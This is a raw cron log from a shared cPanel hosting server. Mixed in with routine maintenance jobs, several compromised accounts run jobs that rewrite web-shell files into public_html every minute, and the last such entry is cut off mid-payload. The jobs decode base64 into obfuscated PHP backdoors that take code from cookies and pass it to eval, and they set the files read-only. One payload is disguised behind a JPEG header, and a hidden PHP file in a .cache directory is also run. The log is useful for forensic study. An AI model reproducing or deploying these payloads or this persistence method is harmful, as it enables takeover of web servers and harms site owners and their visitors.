Mar  2 09:30:02 medusa CROND[32442]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 09:30:02 medusa CROND[32444]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 09:30:02 medusa CROND[32436]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 09:30:02 medusa CROND[32446]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:30:02 medusa CROND[32450]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:30:02 medusa CROND[32440]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 09:30:02 medusa CROND[32457]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:30:02 medusa CROND[32464]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:30:02 medusa CROND[32465]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 09:30:02 medusa CROND[32471]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:30:02 medusa CROND[32474]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:30:02 medusa CROND[32447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:30:02 medusa CROND[32463]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 09:30:02 medusa CROND[32466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:30:02 medusa CROND[32484]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 09:31:02 medusa CROND[17671]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:31:02 medusa CROND[17674]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 09:31:02 medusa CROND[17675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:31:02 medusa CROND[17677]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:31:02 medusa CROND[17679]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:31:02 medusa CROND[17682]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:31:02 medusa CROND[17686]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:31:02 medusa CROND[17697]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:31:02 medusa CROND[17699]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 09:31:02 medusa CROND[17700]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:31:02 medusa CROND[17703]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:31:02 medusa CROND[17712]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:31:02 medusa CROND[17698]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:32:01 medusa CROND[28781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:32:01 medusa CROND[28862]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:32:01 medusa CROND[28904]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:32:01 medusa CROND[28905]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:32:01 medusa CROND[28906]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 09:32:01 medusa CROND[28907]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:32:01 medusa CROND[28909]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:32:01 medusa CROND[28910]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:32:01 medusa CROND[28920]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAk